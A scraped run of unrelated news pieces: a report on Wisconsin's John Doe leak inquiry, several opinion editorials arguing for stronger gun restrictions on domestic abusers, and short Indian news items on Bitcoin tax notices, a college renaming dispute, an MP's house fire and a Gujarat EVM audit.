Schimel said that after the Milwaukee DA decided not to file charges, the GAB requested the evidence be turned over. The DA turned over evidence on a portable device to the GAB, which then moved the data onto several hard drives. The evidence was then re-organized, sorted and in some cases labeled by GAB staff as Opposition Research in four separate file locations, Schimel said.

Schimel said the records were not kept in such a way as to indicate whether the investigation was closed and the allegations unsubstantiated, although in his previous report he said they were in a box labeled GAB investigation files-closed, 2012-01 State time campaigning.

There was also no indication that this evidence was scheduled to be destroyed as required by the public records law, and certainly not scheduled to be turned over to (John Doe II) Special Prosecutor Francis Schmitz in 2016, Schimel said, adding the Legislature should consider requiring a complete inventory of all investigative files still remaining at the Ethics Commission that should have been destroyed.

Evidence collected from the John Doe I investigation led to the John Doe II, which examined coordination between Walkers campaign and a tax-exempt independent group during the 2011 and 2012 recall elections. The Wisconsin Supreme Court shut down that investigation in 2015, ruling the activity in question was protected by the First Amendment.

Contempt proceedings sought

Documents from the investigation were leaked to the Guardian U.S. newspaper, resulting in Schimels leak investigation. His report was unable to determine who leaked the information and no charges were issued, but the report recommended nine people face contempt of court proceedings.

Schimel said last week he hopes the proceedings will lead to more information about who leaked documents to the Guardian. A former GAB lawyers hard drive, which Schimel concluded contains the leaked documents, is missing.

Hue said the primary purpose of releasing Schimels report was to begin the contempt of court proceedings, which he said must be done in open court.

Hue said he was provided the report at about 4:30 p.m. on Dec. 5 and studied it for four or five hours before authorizing its release the next day.

Hue has since stepped down as the judge overseeing John Doe II after the Milwaukee Journal Sentinel reported that he had previously tweeted about the case. The tweets were observations about various legal developments in the case, but Hue said he had previously told Supreme Court Chief Justice Pat Roggensack that he hadnt discussed the case in social media.

The director of state courts has appointed Brown County Circuit Court Judge Kendall M. Kelley as the fifth judge to oversee the case.
Last year, at least 117,407 Americans who were barred by law from buying a gun nevertheless tried to purchase one from a licensed dealer. These people had been convicted of domestic violence, another violent crime or a drug offense; had been committed to a mental hospital or found to be mentally unfit; or met other criteria that would have gotten them flagged in the national database used for instant background checks.

When youre on that list, lying about it in order to buy a gun is a federal felony, punishable by up to 10 years in prison. Yet of the thousands of denials referred to the Bureau of Alcohol, Tobacco, Firearms and Explosives, federal prosecutors pursued charges in only 20 cases in 2015, the latest year for which figures are available, according to a government audit. And the A.T.F. apparently didnt do much else with the information. For example, in cases of domestic abuse, it rarely, if ever, notified the victims that their abusers were trying to arm themselves.

Why so little action? The A.T.F. has focused on terrorism at home since 9/11. Plus, it has only 2,600 agents to cover the United States. By contrast, to patrol its 70 square miles, Washington, D.C., has about 3,900 police officers.

For the A.T.F., running down every lead is simply not a priority  nor, probably, is it feasible. The Justice Department could help, by setting national guidelines to prosecute more of these cases. Former A.T.F. personnel say the agency will put resources only toward cases that its confident the Department of Justice will prosecute, which isnt many right now. But this information matters a great deal to state and local law enforcement agencies, and the federal law should require that the F.B.I. also send it directly to them. If someone is motivated enough to lie to a licensed gun store, it stands to reason the person will be motivated enough to obtain a weapon by some other means.

The fact that theyre willing to ignore the law and arm themselves, their only intent can be criminal mischief, and theyre going to get that weapon somehow, Louis Dekmar, the chief of police in LaGrange, Ga., said. Thats a danger to the community, and its a danger to officer safety. Theyve done the cost-benefit analysis, and if theyre confronted by law enforcement, with the potential to go back to prison, they arent going to hesitate before shooting.

In most states, whenever someone fails a background check, the only place that information goes, in all but a few dozen cases annually, is the A.T.F. Ten states have passed laws to bolster investigations, arrests and prosecutions of lie and try crimes. This year, Washington State and Hawaii joined California, Colorado, Illinois, Oregon, Pennsylvania, Tennessee, Utah and Virginia in requiring that state and local law enforcement agencies be notified of failed background checks. Yet Washington is the only state trying to guarantee that women like Courtney Weaver will get an alert if their abusers ever try to arm themselves.

One of the last times Ms. Weaver saw her fiance, he shot her in the face. Should he try to buy a gun after his release from prison in California, scheduled for 2019, she wants to know about it. It would be the surest way to predict what he was going to do next, Ms. Weaver said.

Since July, when someone fails a background check at a gun dealer in Washington State, the dealer is required to alert the Washington Association of Sheriffs and Police Chiefs. That information is then put into a statewide police database, and local departments are supposed to notify victims of domestic abuse that their abuser tried to purchase a weapon. Washingtons Republican-led Senate passed the legislation in April, a month after the Democratic-led House approved it.

This is how it should work everywhere.

For victims of domestic abuse, Washingtons law is vital. This is no longer just my abuser is out walking around, said Drew Hansen, a Washington state representative who championed the law. Its my abuser has taken active steps to make him or herself more dangerous, probably to me. If local law enforcement officials have that information, and pass it along, victims can take action.

Two members of the House of Representatives are trying to make that a reality nationwide. Patrick Meehan, Republican of Pennsylvania, and Mike Quigley, Democrat of Illinois, introduced legislation in late November that would require the A.T.F. to notify local authorities when a gun purchase is denied. The bill is backed by the National Fraternal Order of Police, which represents more than 330,000 police officers. Congress should move quickly to approve this practical measure.

The National Rifle Association rarely opposes these state laws, at least openly, because they are meant to help enforce laws already in place. In 2014, Virginia arrested more than 500 criminals who had attempted to purchase weapons illegally, according to figures cited by Representatives Quigley and Meehan. In 2013, failed background checks in Pennsylvania led to 620 investigations, 346 arrests and more than 200 convictions.

In Washington State, an investigation by local news organizations found few, if any, examples of a lie-and-try prosecution in the state before the partner notification law passed early this year. So far, since July, only one partner has been informed, but more than 60 referrals have been made to law enforcement agencies. Forty-seven of the denied transactions were tied to an active protection order. This is information that previously wasnt shared.

Its a call that no one ever wants to receive, but it surely saves lives.
After their divorce in 2015, Cheryl and Josh Mascarenas committed themselves to co-parenting, vowing that no matter what happened in their romantic lives, their three kids would be healthy, happy and loved. Ian, their fourth grader, blossomed into a voracious reader and began taking guitar lessons with Dad. Olivia, nearly 7, loved helping cook the family meals. Elijah, the kindergarten class clown, told giddy jokes. What does a nosy pepper do? went his latest favorite. It gets jalapeno your business!

Last year, Ms. Mascarenas, who was 36, began dating George Daniel Wechsler. A former corrections officer, Mr. Wechsler lived not far from the familys home in Four Hills, a suburb of Albuquerque. The couple dated only briefly before Ms. Mascarenas broke things off, turning down Mr. Wechslers request to buy her family Christmas gifts.

On the evening of Dec. 5, 2016, Ms. Mascarenas and the kids returned home to find Mr. Wechsler waiting for them with a gun. He shot all four, mother and children. Ms. Mascarenas, severely wounded but alive, carried one of her children into the street, handing him to someone rushing to help, before returning for another. Ian, Olivia and Elijah were later pronounced dead. As the police and ambulances arrived, Mr. Wechsler called his brother to confess and then turned the gun on himself.

As Cheryl and Josh Mascarenas prepared to bury their children, law enforcement and court records told yet another horrifying story: Mr. Wechsler had been convicted of stalking at least one previous girlfriend and had been arrested for battery against a household member. In 2002, one of the women reportedly called the police after she found him parked outside her workplace, carrying a gun, binoculars and a video camera. He was arrested and pleaded guilty to misdemeanor stalking and assault. Twelve years later, the second woman also reported to the police that she feared for her life because of his actions and threats, but the prosecutor dismissed those charges. And just weeks before Mr. Wechsler killed the Mascarenas children, police officers visited him at his house after a call from a friend worried that he was suicidal.

Yet, though Mr. Wechsler was a clear threat to himself and others, there was no legal way to prevent him from owning or buying weapons. The police knew he had easy access to a firearm from their earlier visit to him. But he was not married to the women he battered, nor did he have children with them. He was therefore exempt from federal prohibitions meant to protect the abused. He slipped through what is known as the boyfriend loophole.

In 1996, the United States Senate agreed almost unanimously that Americans who commit violence against their own families should lose their Second Amendment rights forever. The so-called Lautenberg Amendment was a restriction that, at the time, few objected to. Only two legislators voted against it. But it also covered only batterers who lived with their spouses or had children with them. As the Mascarenas murders show, this law is in desperate need of an update.

Nearly half of the 10,018 women murdered in the United States from 2003 to 2014 were killed by their current or former romantic partners, according to figures released by the Centers for Disease Control and Prevention last summer. The latest F.B.I. data suggests that a boyfriend is nearly as likely as a husband to be a perpetrator.

Prohibiting Gun Access for Domestic Abusers Strong law No law Weak law ME AK NH WI VT WA ID MT ND MN IL MI NY MA RI OR NV SD IA IN OH PA NJ CT WY CA UT CO NE MO KY WV VA MD DE AZ NM KS AR TN NC SC OK LA MS AL GA HI TX FL Source: Giffords Law Center to Prevent Gun Violence

Twenty-two states and Washington, D.C., have laws that go beyond the federal limits for restraining orders. Looking at 34 years of data through 2013, researchers at Michigan State University found that these states had rates of partner homicide committed with firearms that were 14 percent lower than states without the stricter laws. Four of the 22 states have gone so far as to prohibit gun possession by anyone convicted of a violent misdemeanor, regardless of the victims relationship to the offender. This led to a 23 percent drop in intimate partner homicides, according to the study.

Congress now has a bill before it that would close some of the loopholes in the Lautenberg Amendment. Senator Amy Klobuchar, a Minnesota Democrat, has introduced it in each of the past three legislative sessions, most recently with her House colleague Debbie Dingell, a Michigan Democrat. Beyond including current and former dating partners, the proposed changes would also strengthen laws to keep guns away from those convicted of stalking. According to Justice Department statistics, 76 percent of women killed by their partners had been stalked before their deaths.

This year, the bill received little Republican support, but that wasnt always the case. In 2015, Ms. Klobuchar was able to recruit several Republicans, including former Senator Mark Kirk of Illinois, to co-sponsor it. Todays Republican politicians have shifted gears, adopting the increasingly absolutist view of the Second Amendment proffered by the gun lobby, which, in the Trump era, has itself become more ambitious.

The Second Amendment was never intended to keep guns in the hands of convicted criminals, any more than the First Amendments freedom of association was meant to keep criminals out of jail. Its dangerous for politicians to decide that its easy to reject all restrictions on guns  claiming, against all evidence, that they dont prevent crime  rather than do the responsible work of writing laws to protect families like the Mascarenases.

In supporting Senator Klobuchars reforms, Congress would also be acting to protect the police. I am the sheriff of Racine County, Wis., and have been a law enforcement officer for 19 years. I am a conservative Republican, Christopher Schmaling told lawmakers at a July 2014 Senate hearing. Sheriff Schmaling asked Congress to protect not only the victims of family violence, but also the cops who must intervene. When we send our police into danger to respond to domestic violence calls, we send the same folks regardless of the couples marital status. Dangerous boyfriends can be just as scary as dangerous husbands; they hit just as hard and they fire their guns with the same deadly force.
Its past time to enact these laws and toughen enforcement. Taking steps to protect the potential victims of family violence may save their lives  and prevent the next mass shooting, as well.

The National Rifle Association and fierce defenders for gun rights have stymied most efforts to advance sensible safety rules. But these same gun rights advocates have been much more willing to support laws to stop access to guns by domestic abusers.

Nearly half of women killed in the United States are murdered by a current or former romantic partner. Young children are most often killed at home. In a majority of cases, the weapons used are firearms.

Yet the uproar around each slaughter has tended to obscure a disturbing pattern. No matter where these men opened fire  in a schoolhouse, in a nightclub, in a church  their violence almost always began at home, with acts of domestic abuse.

Its what Americans plead after each successive mass slaying  in Newtown, in Orlando, in Sutherland Springs  sickened by the ease with which one man with a gun can massacre dozens of people.

Few things unite America like the violence under our roofs.

Crimes of intimacy, crimes of passion, crimes at home. We all know someone who is affected, even if we dont know who it is: Nearly 20 people per minute in the United States are physically abused by a loved one, according to estimates from the Centers for Disease Control and Prevention. Thats one in three women in her lifetime, one in four men. More than one in five children are exposed to family violence as well. And its that trauma  the horrors witnessed by young people  that echoes most loudly across generations.

Please stop. Just stop, Daddy. Just stop. Daddy, why are you doing this? an 8-year-old begged.

My wife, a husband sobbed, my wife just shot her kids.

Dont worry about me, save my momma, dont worry about me, a 15-year-old pleaded to the police.

Stay in the closet. Stay hidden in the closet, a 911 operator told a 17-year-old trying to keep his 3-year-old sister safe.

Irrefutable evidence  and plain common sense  suggests that these devastating family dynamics are made exponentially more dangerous by something that many Americans bring into the home, an invited guest: a gun.

Every 16 hours an American woman is shot dead by a current or former spouse or dating partner, according to a 2016 Associated Press analysis of F.B.I. and state crime data. The presence of a gun in a home  no matter who owns the weapon  makes it five times as likely that domestic abuse will lead to a womans murder.

While the country is deeply divided over guns, it is united in its concern about domestic crimes. The closest thing to a consensus on increasing gun safety is most likely found in preventing people with documented histories of domestic violence from using guns in anger. In fact, that kind of unity has been achieved in the past  in 1996, when the federal government acted to protect families. In one of the last significant national gun safety improvements passed, the Senate voted 97 to 2, with one abstention, to prohibit those convicted in the assault of a spouse or a child or under a permanent protective order from owning or buying firearms.

I am convinced that the overwhelming majority of Americans would agree with these basic principles: Wife beaters should not have guns, said the measures main sponsor, Senator Frank Lautenberg of New Jersey. Child abusers should not have guns.

This law, known as the Lautenberg Amendment, has done its job. Since it was enacted, nearly 195,000 people have been stopped from buying weapons, flagged in the National Instant Criminal Background Check System as violent offenders. The number of guns kept out of the hands of abusers is even higher.

Time has also revealed the laws shortcomings. For one, what the American family looks like today is different from 20 years ago  and unless a couple is married or cohabiting as spouses, or unless two people have a child together, the federal prohibition doesnt apply. That leaves abuse in many other relationships  grandparents, siblings, stepchildren, dating partners  uncovered. At the same time, new studies have shown that guns used against intimate partners and relatives also often end up killing many others: friends, law enforcement officers, churchgoers, total strangers. A majority of mass shootings in the United States today are related to family violence, as are nearly a quarter of all killings of police officers in the line of duty.

Theres little disagreement that these shootings should end, that laws should be better enforced, that criminals should be punished. Even the gun lobby supports legislative changes aimed at doing so. The only disagreements are over which criminals should be blocked from buying guns and which of their potential domestic targets deserve to be protected. While many gun rights advocates worry about encroachments on the right to bear arms, expanding the protections in the Lautenberg Amendment  a formula proven to prevent deaths while curbing the rights only of criminals  can hardly be cast as a major expansion of gun controls.

Several states, including North Dakota, Tennessee, Texas, Utah, Washington and Wisconsin have paved the way. This patchwork of laws could be considerably strengthened by serious work on the federal level.

That would mean expanding the protections in the Lautenberg Amendment to include dating partners and family members beyond spouses and children, as well as those under a temporary protective order. In addition, the range of criminals barred from gun purchases should include anyone convicted of the crime of stalking. Finally, the police ought to be able to seize firearms when they know theyre likely to be turned on loved ones.

There are other protections that should be enacted, some of which have little or no effect on who bears arms. Deficiencies in the national background check system need to be fixed. For example, the Justice Department should be obliged to notify law enforcement agencies when convicted abusers try to purchase firearms, and law enforcement agencies should then alert the victims of those abusers. Judges also should do a better job of using laws already available to them, at their discretion, to protect families.

To be human is to be at the mercy of anger, our own and that of those around us. Keeping guns out of the hands of those who cant harness their demons will keep Americans safer in their homes, safer around their children and safer as a nation.
Fifty clicks of a keyboard and the pirouette of a mouse. Two minutes of a file clerks day. Thats possibly all it would have taken to save the lives of 26 Americans, slain in their pews, by a wife-beating child abuser who should never have had a gun.

The graphic horror of American gun deaths is too often intensified by the bureaucratic indifference that does so little to thwart the carnage.

Devin Patrick Kelley, the man who brought so much bloodshed to Sutherland Springs, Tex., the morning of Nov. 5, had hurt a child before. In 2012, he was convicted in a military court-martial of assaulting his wife and cracking his infant stepsons skull.

That conviction should have barred Mr. Kelley under federal law from purchasing firearms, but the Air Force failed to report it to the National Instant Criminal Background Check System, often known by its acronym, NICS, the screening tool for gun purchases in the United States.

People convicted of felonies or domestic violence misdemeanors forfeit their right to bear arms in the United States. There are similar prohibitions for people with diagnoses of mental illness and known drug or alcohol abuse. In theory, state and federal agencies plus hospitals are supposed to report all such information to the F.B.I. Licensed gun sellers are required to contact an F.B.I. office in West Virginia, by telephone or electronically, before ringing up a gun sale to ensure the buyer isnt listed as banned.

But NICS is only as good as the data thats put into it. A decade ago, a mentally ill man named Seung-Hui Cho went on a killing spree on the campus of Virginia Tech, murdering 32 people and injuring 17 others. In the aftermath, Congress passed a bill to strengthen NICS with more criminal records and mental health information. While there is still room for improvement, Department of Justice data suggests the number of federal and state records entered into NICS has increased significantly since the law was signed in January 2008.

Now, a group of senators, led by John Cornyn, a Republican from Texas and one of the strongest gun rights advocates in Congress, has put forward a similar measure that would improve the reporting of domestic violence convictions. Mr. Cornyns measure would impose a financial penalty by barring bonuses for the heads of federal agencies that fail to report the convictions. It would also reward states that improve reporting, and would provide more federal funding toward those efforts.

In the weeks since the Sutherland Springs murders, its become apparent that the Pentagons failure in the Kelley case was one of many; time and again, it has failed to forward criminal incident data to the F.B.I., which maintains the three databases that NICS pulls from. An Air Force review conducted last month determined that the military had failed to report several dozen serious crimes to the bureaus databases and that it was in the process of fixing the problem. Outside the Pentagon, a report in 2013 by a public interest group, the National Consortium for Justice Information and Statistics, found millions of records missing  of criminal convictions, prior mental illness and other red flags  that are supposed to keep guns out of potentially dangerous hands.

The new bill, called the Fix NICS Act, is the rare piece of bipartisan gun legislation that has no meaningful opposition. Across the aisle from Mr. Cornyn, the lead co-sponsor is Chris Murphy of Connecticut, with three other senior Democrats backing it, too. The National Rifle Association has also applauded the measure.

Attorney General Jeff Sessions has weighed in, announcing on Nov. 22 a full evaluation of the NICS process. Suggesting that any error that leads to tragedy is one too many, he said the NICS database is critical for us to be able to keep guns out of the hands of those that are prohibited from owning them.

The Justice Departments review will focus on military reporting, as well as the format, structure and wording of NICS forms and other potential obstacles to compliance. A bigger question that it might want to consider is whether NICS reporting should be more standardized. Right now, every state submits what it wants, with no true national protocols. Even the definition of domestic violence varies from state to state.

Congress should do its job and hold a vote by the end of the year on the Fix NICS Act  unencumbered by cynical amendments meant to delay or even torpedo it, thus risking many more lives. The House made this harder this month by tying its version of this bill to partisan legislation that would allow national concealed-carry reciprocity.

For its part, the Pentagon should look to itself and punish those responsible for the Kelley failure. Falling asleep on guard duty and shirking administrative due diligence can be equally deadly.

This editorial was originally published Nov. 29. It has since been updated.
Linda Jamerson was in danger. She knew it, and so did her friends and family. Her ex-boyfriend, Jaraun Render, the father of two of her three children, had threatened her, punched her in the face and dragged her around by her hair.

He was going to kill me, she wrote to the court this year. Ms. Jamerson said Mr. Render keeps threatening that he is going to break my neck. She said he had beaten and stalked her and threatened her daily, in unrelenting phone and Facebook messages. He walks around with a gun on him at all times. A judge issued a seven-month restraining order against Mr. Render on Aug. 1.

Yet federal and state law allowed Mr. Render to have his gun. Laws meant to prevent domestic abusers from owning or buying guns did not apply because of a loophole that now results in several hundred deaths a year: The temporary restraining order wasnt permanent.

Even as a strong supporter

of the Second Amendment,

I have a red line. Chief David Todd Fargo, N.D., Police Department Watch Chief Todd's explanation.

On Nov. 14, Mr. Render allegedly took his 9-millimeter handgun and shot Ms. Jamerson 12 times at close range and wounded her friend as they sat parked at a convenience store in Muskegon, Mich. He absconded with Ms. Jamersons children but was captured after a 43-hour manhunt. Hes now in jail awaiting trial, and Ms. Jamerson is recovering from her wounds.

Temporary orders like the one granted to Ms. Jamerson are the first line of defense offered to victims of family violence. They are meant to be a stopgap between the time a complaint is first made and when a full hearing can take place with the subject of the protective order present. The Department of Justice says it issues at least 1.2 million orders annually, but only a small fraction are made permanent. In Michigan, where Ms. Jamerson lives, 14,318 temporary orders were issued in 2015, the last year for which there is data; of them, 159 were made permanent.

A victim under a protective order is left to hope that her predator is a good rule follower. About half of the time, the order is violated.

Since family violence is almost always rooted in an abusers need to exert control, issuing a protective order can be like pulling the pin from a grenade. One-third of homicides related to intimate-partner violence occur within one month of a restraining order being issued, and one-fifth within two days, according to a 2008 study. Fifty-five percent of those homicides involve a firearm.

Victims of domestic abuse dont always have time on their side  they need immediate protection beyond a court-issued piece of paper, a spokeswoman for the National Rifle Association, Catherine Mortensen, told the Huffington Post in July. Ms. Mortensen is right, but her solution, arming women, wouldnt end the killing. In fact, it would lead to more deaths, according to researchers.

A better solution? Extend to temporary restraining orders the federal prohibitions on having or buying firearms that already apply to people under permanent restraining orders. There are few more consequential actions for Congress and the courts than removing a citizens constitutional rights, especially without a criminal conviction. When safety is involved, however, courts have approved certain temporary restrictions of a persons rights  to see ones family, to return to ones home. Limiting gun rights under temporary restraining orders is a sensible extension of those checks.

Conditions would apply: A judge or magistrate would have to review a victims testimony or an affidavit, or other evidence. Eleven states  including Texas, North Carolina and New York  already bar people under temporary restraining orders from having or buying guns. Ten more states empower a judge to take that step. There is no reason Congress couldnt pass a similar law.

A Michigan State University study released in November found a 12 percent reduction in intimate-partner homicides when emergency restraining orders included gun restrictions.

Is it really too much to ask Congress to save lives by passing a gun safety law that even Texas has embraced?
Gov. Scott Walker of Wisconsin is so ferociously dedicated to the right to bear arms that he recently signed a bill to allow babies to carry firearms.

Yet Governor Walker has also restricted access to guns for one group of Wisconsin residents. Saying that he wanted his state to do better in protecting the victims, and potential victims, of domestic abuse, he signed legislation three years ago requiring people placed under restraining orders to be notified that they must turn in any guns they own within 48 hours or face arrest. The law also spelled out how to confiscate weapons.

Mr. Walker was almost certainly saving lives: States that collect guns from people under restraining orders have a 22 percent lower rate of intimate-partner homicide by gun than those that dont, according to a Michigan State University study released last month. And murders of bystanders  often police officers, children or other family members  commonly stem from these homicides. Twenty percent of the people killed in homicides related to domestic violence are not themselves intimate partners of the murderers, according to one 2014 study.

Yet Wisconsin is one of only 17 states, plus Washington, D.C., that have enacted this common-sense measure. This gap in public safety could be easily filled by the federal government. But that would require leaders of Congress to put aside their fear that any restrictions on guns  even those, like this one, that are endorsed by police organizations  will run afoul of the mindless absolutism that increasingly defines the National Rifle Association. Even strong advocates for gun rights should recognize how sensible it is to keep guns out of the hands of people whove been found to pose a danger.

Legislators in Wisconsin certainly understood that. Both state chambers backed the gun-relinquishment bill with bipartisan support; the gun lobby, after some back-room negotiations, chose not to weigh in.

When people are in a situation where they are supposed to turn their guns in, we will make sure its done, Garey Bies, the bills Republican sponsor and a former chief deputy sheriff, told The Milwaukee Journal Sentinel. That way, if something arises, they wont have easy access to a weapon. They will have to work harder to find one, and maybe by then they will have calmed down a little bit. Thats the goal: to take away the heat-of-passion-type situations.

Mr. Biess position makes sense: All reputable research shows that the days right after a breakup are the most dangerous for victims of family violence, as an abuser feels his control slipping away.

Given all thats known about the connection between family violence and mass shootings, if Congress wants to make American families safer, it will toughen federal law to require those convicted of domestic violence or stalking, or under a restraining order, to turn over their firearms. Its simply wrong to think that red-state voters wont back protections for victims of domestic violence: Gun-relinquishment laws have been enacted with broad support in rural, conservative states like North Dakota and Tennessee, along with swing states like Pennsylvania and Colorado. Pragmatic lawmakers on both sides of the aisle  senators such as Ron Johnson of Wisconsin, Patty Murray of Washington, Bob Corker of Tennessee and Richard Burr of North Carolina, all of whom represent states that already have such laws  should work together to champion it.

To build confidence in a national law, and to avoid constitutional questions, any legislation must address the Fifth Amendment stipulation that no person shall be compelled in any criminal case to be a witness against himself. California provides a model. Its law allows someone who has firearms illegally to turn them over, without fear of arrest for illegal gun possession, when he faces a protective order.

Its imperative, too, that any federal law not repeat mistakes contained in some local laws. For instance, relinquishment ought to occur within 48 hours of its being ordered, not the 30 days that is sometimes required, which gives abusers too much time. Also, allowing guns to be handed over to either law enforcement agencies or a designated third party, such as a gun dealer or a bank, for safekeeping can improve compliance.

More challenges, though, lie with enforcement, not legislation. In many states, the question of whether to take guns from an abuser is left to the judge in each case. That can lead to uneven results, depending on judges political views or training. In Colorado, where judicial discretion holds sway, an analysis by The Denver Post found that in certain counties judges confiscated guns in 70 percent of cases, but that in neighboring counties other judges did so in less than 1 percent of cases. In Dallas County in Texas, a recent analysis found similar variance.

Determining if an abuser has firearms is also difficult. The United States has no national database listing gun owners or even those arrested for gun possession, so each jurisdiction has to do the best due diligence it can. Some, including Wisconsin, have found success simply by asking the victims and the abusers themselves.

In 2014, Washington State legislators unanimously passed a bill requiring people under restraining orders to give up their guns. Not much happened. By 2016, officials in King County, where Seattle is the largest municipality, were wondering why, and they asked a retired judge, Anne Levinson, to convene judges, clerks, prosecutors and police officials to investigate.

Sure enough, what they found was that, despite a weekly docket of 30 or more new domestic violence cases before its civil courts, few offenders were turning in firearms. In fact, for 2016, of 875 people ordered in King County Superior Court to relinquish guns, only 52 gave any up  124 weapons in total.

Since the cases were civil, prosecutors and law enforcement officers were rarely in the courtroom. Paper records werent being shared. No one was taking responsibility to make sure the law was followed. Everyone involved was sure that guns were slipping through the system.

We make a promise to victims of domestic violence when we issue these orders; they rely on these orders, says Chris Anderson, a Seattle city prosecutor who, as head of the domestic violence unit, was part of the study group. We have to commit to enforcement to reduce risk to victims.

King County tried a new approach, one that identified high-risk abusers and disarmed them. At civil court proceedings, dedicated case managers began presenting evidence, gathered from scouring social media, victims statements and various databases for clues that abusers had firearms. In one house, a victim alerted the court to 27 firearms and 8,000 rounds of ammunition  belonging to a man who claimed to have turned over the only two guns he owned. In cases when prosecutors and the police believed that a given abuser was lying and hiding guns, they sought a search warrant and went to retrieve weapons.

In the first six days piloting this concentrated, coordinated effort, law enforcement agencies recovered 20 percent as many firearms as were collected in all of 2015 in King County. That success continued into the fall, and from July 1 to Oct. 13, more firearms were collected than in all of 2016 and twice as many as in 2015. King County will double staffing toward this effort in 2018.

It shows what can be done when judges and law enforcement officials take the responsibility to follow through on sensible gun-safety laws that have wide support.
Bitcoin trading: 5 lakh individuals set to get IT notice

India

oi-Vicky

By Vicky

Over 5 lakh persons are set to get notices from the Income Tax department for trading in exchanges of unregulated virtual currency.

The notices are being sent as part of the probe into Bitcoin investments made by high network individuals.

The taxman had conducted surveys at nine such exchanges last week to check instances of tax evasion.

The department, official sources said, found that out of the estimated 20 lakh entities registered on these exchanges, about 4 to 5 lakh were "operational" and indulging in transactions and investments.

The Bengaluru investigation wing of the tax department, which supervised last week's operations, has now dispatched the information of the individuals and entities found on these databases to eight other such wings across the country for a detailed probe.

"Those individuals and entities whose records were recovered by the department are now being probed under tax evasion charges. Notices are being issued and they will have to pay capital gains tax on the bitcoin investments and trade," a senior official privy to the operation said.

"About 4-5 lakh HNIs and their businesses are being issued notices which will first seek their relevant financial details and subsequently establish the tax demand if any", he told PTI.

As the bitcoins or the virtual currencies (VCs) are illegal and unregulated in the country as of now, the IT department has taken action as per the existing provisions, they said.

The survey operations conducted last week, under section 133 A of the Income Tax Act, was undertaken for "gathering evidence for establishing the identity of investors and traders, the transaction is undertaken by them, the identity of counter-parties, related bank accounts used, among others," they said.

A survey action under the IT law pertains to the tax officials making a surprise visit to the business premises of the party under action but not their residential ones. The trigger for the action is understood to be the huge spike being registered in the value of bitcoins and other virtual currencies in the recent past.

Suspected black money being converted into white, post demonetisation, through the use of bitcoins was also under the department's scanner, officials said. Earlier this month, there was a spurt in the value of a bitcoin. It rose from under $10,000 at the start of the year to close to USD 20,000, before a sharp 20 percent plunge within hours.

Bitcoin, a virtual currency, is not regulated in the country and its circulation has been a cause for concern among central bankers the world over for quite a while now.

The Reserve Bank of India (RBI) has also cautioned users, holders, and traders of virtual currencies. The government has also said that it does not recognise 'crypto-currency' as legal tender in India. In March, the Union finance ministry constituted an Inter-Disciplinary Committee to take stock of the present status of virtual currencies both in India and globally and suggest measures for dealing with them.

OneIndia News
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Decision to rename Dyal Singh Evening college put on hold

India

oi-Vikas

By Vikas

The BJP-led government at the Centre on Tuesday put on hold the decision to rename Delhi University's Dyal Singh Evening college to Vande Mataram Mahavidyalaya, following a strong objection by the Shiromani Akali Dal (SAD).

Speaking on the issue, SAD MP Naresh Gujral had earlier in Rajya Sabha said that "to change the name of a minority institution was a direct assault on the feelings of Sikhs".

"Decision to change Dyal Singh Evening College's name to Vande Mataram Mahavidyalaya has been put on hold, we must ensure anyone's sentiments are not hurt," ANI quoted Union Human Resource Development (HRD) minister Prakash Javadekar as saying.

The governing body of Dyal Singh College had in November passed a resolution to change the name of the erstwhile evening college to 'Vande Mataram Mahavidyalaya '.

Union Minister and Shiromani Akali Dal (SAD) leader Harsimrat Kaur Badal had on November 25 strongly objected to the decision, calling it as 'shocking and unacceptable'.

The chairperson of Dyal Singh College's governing body on November 18 asserted that the new name 'Vande Mataram Mahavidyalaya' is an inspiring name for the college.

"Notification was issued that Executive Council approved Dyal Singh evening college becoming a full-fledged day college. Then we had to give it a new and inspiring name, we decided it should be 'Vande Mataram Mahavidyalaya'," a governing body member had said.

"It was passed unanimously. But some started protesting saying that it is not acceptable? Why so? Everybody in this universe is because of his/her mother," he added.

Harsimrat Badal "Unacceptable and shocking. The person who is so keen to change name must change his own name, he can put all his wealth to create something and give it whatever name he wants. How can you take away the legacy of someone else?" Harsimrat Badal, who is the Food Processing Minister in the NDA government, had said on November 25.Harsimrat said that even Pakistan has recognised the contibution of Sardar Deen Dayal Singh Majithia, adding, "colleges are being run on his name (in Pakistan)". Punjab CM Amarinder Singh had also opposed the move Punjab Chief minister Captain Amarinder Singh opposed the move and took to Twitter to express his disagreement with the name change decision "Strongly oppose renaming of Dyal Singh College as #vandemataramcollege. Founder Dyal Singh Majithia was a progressive visionary. We should preserve his great legacy instead of indulging in petty name changing games," he had tweeted last month. Sukhbir Badal had called for PM's intervention Shiromani Akali Dal (SAD) president Sukhbir Singh Badal had asked for Prime Minister Narendra Modi's intervention in the matter. Delhi BJP legislator Manjinder Singh Sirsa had earlier filed a police complaint against the college's principal and chairman over the name change. Even the Delhi Sikh Gurdwara Management Committee (DSGMC) passed a resolution against the move, stating that it has hurt the sentiment of Sikhs. NSUI had also criticised the re-naming The Congress' student wing NSUI criticised the move, saying the governing board should have focused on improving the college infrastructure rather than changing its name. Delhi Deputy Chief Minister Manish Sisodia said the BJP was still stuck in the past, instead of making efforts to create a better future for the students.

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Story first published: Tuesday, December 19, 2017, 20:09 [IST]
Sriramulu struck deal with SC judge to bail Reddy brothers out says Congress

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Fire breaks out at BJP MP Sriramulu residence, narrow escape for family

India

oi-Deepika

By Deepika

The fire broke out at the residence of Bharatiya Janata Party (BJP) MP B Sriramulu on early hours of Tuesday.

The incident took place on Tuesday in the Sriramulu's residence on Feroz Shah Road.

Speaking to news agency ANI, B Sriramulu said he narrowly escaped the house fire. Children of the BJP MP suffered minor injuries in the incident. The fire is under control now.

"Minor fire accident at my New Delhi residence. Everyone is safe & nothing to panic," B Sriramulu tweeted.

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Cong for Muslims, BJP for Hindus: Did Rahuls temple visits in Guj help to bust the myth?

Gujarat: 100 per cent match in random vote count on EVMs and paper trail slips

India

oi-Vicky

By Vicky

There was a 100 percent match in the random vote count on EVMs and paper trail slips which was carried out by the Election Commission in the 182 polling stations at Gujarat.

The EC had said it would conduct random vote counts on EVMs and VVPAT slips in one polling station in each of the 182 assembly constituencies.

"There was a 100 percent match in the results of the EVM and the slips produced by the paper trail machines," the official of the election machinery said.

The polling stations were decided through a draw of lots in which the candidates or their agents were also present. The EC had decided to match the tally in select polling stations amid allegations that the EVMs were compromised to help the BJP.

On December 15, the Supreme Court had refused to entertain a plea of the Gujarat Congress seeking to count of at least 20 percent of the paper trail slips manually along with votes cast in the EVMs in each constituency of the state.

Infographic: States ruled by the BJP in 2017

